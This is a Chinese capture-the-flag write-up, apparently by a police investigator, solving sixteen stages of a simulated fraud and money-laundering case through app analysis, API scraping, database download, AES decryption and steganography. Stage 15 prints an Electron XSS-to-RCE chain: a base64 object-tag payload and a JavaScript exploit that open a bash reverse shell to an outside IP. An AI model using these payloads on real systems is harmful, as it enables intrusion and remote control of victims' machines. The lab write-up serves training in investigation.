复盘第五期 |突破15/16题的关键,解题技巧倾囊相授-简慕

WriteUp 3周前 admin
57 0 0

写在前沿 

本期是来自广东省韶关市始兴县公安局笔名为【简慕】投递的复盘稿件,在第 5 题中,借助浏览器自带的开发者模式进行抓包,这为我们带来了全新的解题思路。


作者说:无糖斟茶王者解题过程,1-14 为原创,15-16 有借鉴, 2024-07-31by@shaoguanshixing jianmu(htb)


 赛事题目 


1、资金初探


分析收取受害人资金的一级卡转账记录,统计其下级卡中接收受害人资金最多的账户

复盘第五期 |突破15/16题的关键,解题技巧倾囊相授-简慕

解题思路:根据案件报告,我们使用模拟调证平台调取 NH1782952295925185NH1719788591914672 的转账记录,NH1719788591914672 转账记录中找接收到万之后的转出合计最多的账户就是答案。




2、运气爆棚


意外从其中一张银行卡6226*******6978927中找到了线索。(用重明查一下看看,也许有意想不到的收获,请以搜索结果中的涉案群组ID作为答案)

解题思路:将 6226816246156978927 放进去重明查一查:答案直接出


复盘第五期 |突破15/16题的关键,解题技巧倾囊相授-简慕


复盘第五期 |突破15/16题的关键,解题技巧倾囊相授-简慕

3、黑词大闯关


请启动下方的网站,帮助林风通过入群验证

(每次做错要重答是真气人啊啊啊) n 次尝试之后终于得到FLAG!


复盘第五期 |突破15/16题的关键,解题技巧倾囊相授-简慕

4、转移阵地


为了通过入群验证,林风反复试了不知多少次,终于才骂骂咧咧(当时做到这给我气笑 了,出题人你还真是会拿捏人心)地加进了这个洗钱群。分析这个二维码,以二维码包含的链接末尾路径作为答案

复盘第五期 |突破15/16题的关键,解题技巧倾囊相授-简慕


在线二维码解析网址:https://uutool.cn/qrcode-decode/#google_vignette


解析结果:https://scene-ktjau6icu85y8wun-appdownload-3000.zhigeng09.toolmao.com/CCYTZSNY4CL6


5、躲猫猫


分析这个APP,锁定其API接口地址的获取地址,以获取地址的TOKEN作为答案

访问第四题的地址,pc 端浏览器需要开发者模式选择手机的布局


复盘第五期 |突破15/16题的关键,解题技巧倾囊相授-简慕


之后直接拖进模拟器进行抓包:随便输账号密码,点击登录抓到请求包


复盘第五期 |突破15/16题的关键,解题技巧倾囊相授-简慕 复盘第五期 |突破15/16题的关键,解题技巧倾囊相授-简慕



6、新的猫


找到新的API请求地址,以地址的末尾路径作为答案

默认的接口地址是:但是返回 404https://scene-fujnsqg7evf27j13-oss-3000.zhigeng09.toolmao.com/20240710.txt?token=CIADGIEG1ZSB


复盘第五期 |突破15/16题的关键,解题技巧倾囊相授-简慕


观察url 发现文件名是有规律的 20240710.txt,改成 20240722.txt(当天的日期)即可


复盘第五期 |突破15/16题的关键,解题技巧倾囊相授-简慕


然后解析base64:得到答案 https://scene-fujnsqg7evf27j13-teleframadmin- 3000.zhigeng09.toolmao.com/?flag=03HQSVWW6XGG



7、藏起来的钥匙


解包Telefram APP,找找看有没有新的线索,比如SDK。

题目说要找 sdk 的 key,这道题我直接用大狗没有结果,之后是在摸瓜在线反编译里面查看AndroidManifest.xml 文件,


复盘第五期 |突破15/16题的关键,解题技巧倾囊相授-简慕


其实这里已经看到了后面题目的 aes 的加密的 key


8、拔萝卜


结合模拟调证,向星光推送的运营公司进行调证,以Telefram的开发者联系邮箱作为答案


复盘第五期 |突破15/16题的关键,解题技巧倾囊相授-简慕


解题思路:使用模拟调证对 appKey 直接调就能得到答案




9、开门开门


分析新的API请求地址,找到Telefram的后台访问地址并获取登录权限。

https://scene-nqzoxh39m7x6xsxj-teleframadmin- 3000.zhigeng09.toolmao.com/?flag=03HQSVWW6XGG登录账号是:wpvisnbi 密码是:13860281270


复盘第五期 |突破15/16题的关键,解题技巧倾囊相授-简慕


10、人真不少


聊天用户中最后登录IP为67.98.23.12的聊天用户数量

这道题我的做法是:抓包做爬虫,代码如下:

import requestsheaders = {'Host': 'scene-xsd7dbfj3xfdbtbp-teleframadmin-3000.zhigeng08.toolmao.com', 'Accept': 'application/json, text/plain, */*','Sec-Ch-Ua-Mobile': '?0', 'Authorization': 'BearereyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOjMsInVzZXJuYW1lIjoid3B2aXNuYmki LCJhY2Nlc3MiOiJ1c2VyIiwiaWF0IjoxNzIxMDMwOTExLCJleHAiOjE3MjEwNDI5MTF9.h_J3Z8Ml B1owipEspE2nrkF8tRxo5asMZfFVLRLg_z0','User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.171 Safari/537.36','Sec-Ch-Ua-Platform': '""', 'Sec-Fetch-Site': 'same-origin', 'Sec-Fetch-Mode': 'cors','Sec-Fetch-Dest': 'empty','Referer': 'https://scene-xsd7dbfj3xfdbtbp-teleframadmin- 3000.zhigeng08.toolmao.com/chatUsers',# 'Accept-Encoding': 'gzip, deflate', 'Accept-Language': 'zh-CN,zh;q=0.9', 'Connection': 'close',}for i in range(1,251): params = {'current': f'{i}','pageSize': '100',}

response = requests.get('https://scene-xsd7dbfj3xfdbtbp-teleframadmin- 3000.zhigeng08.toolmao.com/api/chater/list',params=params, headers=headers, verify=False,)print(111) print(response.text) file_path = "output.txt"with open(file_path, 'a') as file: file.write(response.text) file.write('n')

然后在 output.txt 中查 67.98.23.12,数量是 847 个(温馨提示:每个人的数量生成不一样的)


11、数据拖拉机


帮林风找到办法获取聊天消息内容,以聊天消息中的FLAG作为答案

第一步是从网页中获取文件下载的接口:/api/download?filePath= 我使用的是:findsometing 插件


复盘第五期 |突破15/16题的关键,解题技巧倾囊相授-简慕


进行数据库备份


复盘第五期 |突破15/16题的关键,解题技巧倾囊相授-简慕


下载数据库文件,路径拼接为:/api/download?filePath=/backups/backup- 1721033195446.sql 要用bp 抓包改包添加 cookie 进去,放那个包才能下载,不然会403,将 sql 文件恢复到数据库中


复盘第五期 |突破15/16题的关键,解题技巧倾囊相授-简慕


导出 messege 表的 messege 列为 txt,在之前下载的 apk 软件中,反编译之后搜索 decrypt:找到解密函数:

public final String getContent(Context context) {     Intrinsics.checkNotNullParameter(context, "context");return AesUtils.Companion.decrypt(context, this.encodeContent);}

public final String decrypt(Context context, String encodeContent) { Intrinsics.checkNotNullParameter(context, "context"); Intrinsics.checkNotNullParameter(encodeContent, "encodeContent"); String key = getKey(context);String substring = key.substring(0, 16); Intrinsics.checkNotNullExpressionValue(substring, "substring(...)");
byte[] bytes = substring.getBytes(Charsets.UTF_8); Intrinsics.checkNotNullExpressionValue(bytes, "getBytes(...)"); String substring2 = key.substring(16, key.length()); Intrinsics.checkNotNullExpressionValue(substring2, "substring(...)"); byte[] bytes2 = substring2.getBytes(Charsets.UTF_8); Intrinsics.checkNotNullExpressionValue(bytes2, "getBytes(...)");IvParameterSpec ivParameterSpec = new IvParameterSpec(bytes2); Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5PADDING"); cipher.init(2, new SecretKeySpec(bytes, "AES"), ivParameterSpec);byte[] doFinal = cipher.doFinal(Base64.getDecoder().decode(encodeContent)); Intrinsics.checkNotNull(doFinal);return new String(doFinal, Charsets.UTF_8);转换成 python 代码进行解密:import base64from Crypto.Cipher import AESfrom Crypto.Util.Padding import unpad
def get_key(context): return "4JQVC6Y3DNICA8NYBVKFLQQG0E6J89UT"
def decrypt(context, encode_content): key = get_key(context)substring = key[:16]bytes_key = substring.encode('utf-8') substring2 = key[16:]bytes_iv = substring2.encode('utf-8')
cipher = AES.new(bytes_key, AES.MODE_CBC, iv=bytes_iv) decoded_data = base64.b64decode(encode_content)decrypted_data = unpad(cipher.decrypt(decoded_data), AES.block_size)
return decrypted_data.decode('utf-8') with open('ciphers.txt', 'r') as file: # 逐行读取文件内容并保存到列表中lines = file.readlines()
# 打印列表内容for line in lines: print(line.strip()) for i in lines: encode_content = f"{i}" print(decrypt(context, encode_content))

key 的值从 AndroidManifest.xml 获取 4JQVC6Y3DNICA8NYBVKFLQQG0E6J89UT


解密结果:C:UsersJianMuAppDataLocalProgramsPythonPython39python.exe C:UsersJianMuDesktop第十一题.py


大家都到齐了吗?我们今天要讨论新的项目。FLAG:7WEK896SXTKXZXCQ


12、动物乐园


分析该群聊中的各个角色身份,锁定承担财务和洗钱职责的人员的用户名。

根据解密之后的聊天记录得到 chaterid,再去找到对应的用户名为 NZGM3125


13、黑蛇白了


根据最新的群内消息,判断黑蛇死亡地所在市和区的名称

是的,新闻上有照片,我确认是他。我现在把照片发给大家。image://uploads/7azgKgaQfto55VWnaR.png


这个地址拼接到文件下载的 api 中下载到图片:


复盘第五期 |突破15/16题的关键,解题技巧倾囊相授-简慕


我的做法是截取图片的沃尔玛部分然后放进百度的以图搜图中:(当然走了很多弯路,exif啥的)


复盘第五期 |突破15/16题的关键,解题技巧倾囊相授-简慕


复盘第五期 |突破15/16题的关键,解题技巧倾囊相授-简慕


地址:武汉市江夏区万豪世纪天街



14、秘上加谜


分析查找镜像内容中的可能线索。

1.C:UsersJianMuDesktop解题过程142024-7-15dwalletkey.txt


2.C:UsersJianMuDesktop解题过程142024-7- 15cusersminiboyAppDataRoamingmaichaLocal Storageleveldb00047.log黑蛇的账号密码


3.图片隐写:C:UsersJianMuDesktop解题过程142024-7- 15cusersminiboyDesktop2024-07-19.jpg


┌──(kali㉿kali)-[~]

└─$ binwalk /home/kali/Desktop/2024-07-19.jpg


复盘第五期 |突破15/16题的关键,解题技巧倾囊相授-简慕


size: 18, uncompressed size: 16, name: file.txt

187884 0x2DDEC End of Zip archive, footer length: 22

┌──(kali㉿kali)-[~]

└─$ binwalk -e /home/kali/Desktop/2024-07-19.jpg


复盘第五期 |突破15/16题的关键,解题技巧倾囊相授-简慕


size: 18, uncompressed size: 16, name: file.txt

187884 0x2DDEC End of Zip archive, footer length: 22


复盘第五期 |突破15/16题的关键,解题技巧倾囊相授-简慕


15、悄悄潜入


尝试登录黑蛇的聊天软件,通过静默的方式获取浣熊的聊天客户端权限

解题过程:本题的考点是通过 electron 的 xss 漏洞到 rce 进而获取控制权限


由于本人也是第一次接触electron 框架的应用端漏洞,首先是识别应用程序名称,类似识别 web 的 cms,


通过图标识别:


复盘第五期 |突破15/16题的关键,解题技巧倾囊相授-简慕


通过lincence 识别:


复盘第五期 |突破15/16题的关键,解题技巧倾囊相授-简慕

识别漏洞之后寻找漏洞利用 exp:


复盘第五期 |突破15/16题的关键,解题技巧倾囊相授-简慕


找到一个教程:https://mp.weixin.qq.com/s/wiT_Jh311FMdzqNb9AozWw


复盘第五期 |突破15/16题的关键,解题技巧倾囊相授-简慕


思路很明确,先找到 xss 注入点:


登陆上客户端,经过查看发现不能在群组或私聊中发送信息,因为此时黑蛇的设定是已经死掉了,发送消息意味着侦查暴露,所以只能在找他处进行 xss


复盘第五期 |突破15/16题的关键,解题技巧倾囊相授-简慕


经过测试,发现在修改用户名处可能存在 xss: 正常改名:


复盘第五期 |突破15/16题的关键,解题技巧倾囊相授-简慕


插入标签:报昵称不合法


复盘第五期 |突破15/16题的关键,解题技巧倾囊相授-简慕


说明 script 标签被过滤了,继续测试其他标签,发现只有 object 标签没有被过滤:


复盘第五期 |突破15/16题的关键,解题技巧倾囊相授-简慕


验证 xss 代码是否被执行:

<object data="data:text/html;base64,PHNjcmlwdCBzcmM9Imh0dHBzOi8vZTkzbHU2LmRuc2xvZy5jbi I+PC9zY3JpcHQ+"></object>


复盘第五期 |突破15/16题的关键,解题技巧倾囊相授-简慕

可以看到 xss 代码被执行了


<object data="data:text/html;base64,PGltZyBzcmM9IjEuanBnIiBvbmVycm9yPSJyZXF1aXJlKCJjaGlsZF 9wcm9jZXNzIikuZXhlYygnYmFzaCAtYyAiL2Jpbi9iYXNoIC1pID4mL2Rldi90Y3AvMTE5LjkxLjEx NS4xNTkvNTY3OCAwPiYxIik7Jz4K"></object>

复盘第五期 |突破15/16题的关键,解题技巧倾囊相授-简慕

字符限制 200,考虑远程加载js 执行,要执行的js:<script src=”http://x.x.x.x:8888/aaa.js”></script>

Xss 载荷:


<object data="data:text/html;base64, <script src="http://x.x.x.x:8888/aaa.js"></script>

的 base64 编码”></object> aaa.js 的 Exp 如下:


this.parent.chatClientApi.execCommand(1818, 'bash -c "/bin/bash - i >&/dev/tcp/x.x.x.x/5678 0>&1"')

在自己服务器上开 http 传输文件:


复盘第五期 |突破15/16题的关键,解题技巧倾囊相授-简慕


在自己服务器上开 nc 监听端口:


复盘第五期 |突破15/16题的关键,解题技巧倾囊相授-简慕


修改用户名注入远程加载 js 的 xss:


复盘第五期 |突破15/16题的关键,解题技巧倾囊相授-简慕


成功下载js:


复盘第五期 |突破15/16题的关键,解题技巧倾囊相授-简慕


成功反向 shell:


复盘第五期 |突破15/16题的关键,解题技巧倾囊相授-简慕


在 apiconfig.js 里面找到本题答案:


复盘第五期 |突破15/16题的关键,解题技巧倾囊相授-简慕


16、谁是凶手


所有的案件信息都已提供,请找到本案中的所有嫌疑人的身份证号码作为答案

第一个:在浣熊的电脑里面/home/boss 找到一下文件:sfz.png:


复盘第五期 |突破15/16题的关键,解题技巧倾囊相授-简慕


Base64 拿回:

cat sfz.png | base64

利用在线 base64 转图片工具:https://www.uutils.com/image/base64_to_image.htm


复盘第五期 |突破15/16题的关键,解题技巧倾囊相授-简慕


第二个:在 juanzong.docx 文件(本题问的是嫌疑人,可能所有有嫌疑的身份证都可以试一试)


复盘第五期 |突破15/16题的关键,解题技巧倾囊相授-简慕


第三个:王吉,考虑到是题干中王吉是涉案的互联网公司的员工,且每次提供的线索也太准确了,不同寻常


复盘第五期 |突破15/16题的关键,解题技巧倾囊相授-简慕


复盘第五期 |突破15/16题的关键,解题技巧倾囊相授-简慕


复盘第五期 |突破15/16题的关键,解题技巧倾囊相授-简慕


查看题干:

复盘第五期 |突破15/16题的关键,解题技巧倾囊相授-简慕


复盘第五期 |突破15/16题的关键,解题技巧倾囊相授-简慕


有理由怀疑,但现有证据还上不了王吉的强制措施。。。

 点击下载 








点击底部【阅读原文】,下载无糖浏览器,进入知更实战平台,了解更多详情!

原文始发于微信公众号(无糖反网络犯罪研究中心):复盘第五期 |突破15/16题的关键,解题技巧倾囊相授-简慕

版权声明:admin 发表于 2024年8月28日 上午10:01。
转载请注明:复盘第五期 |突破15/16题的关键,解题技巧倾囊相授-简慕 | CTF导航

相关文章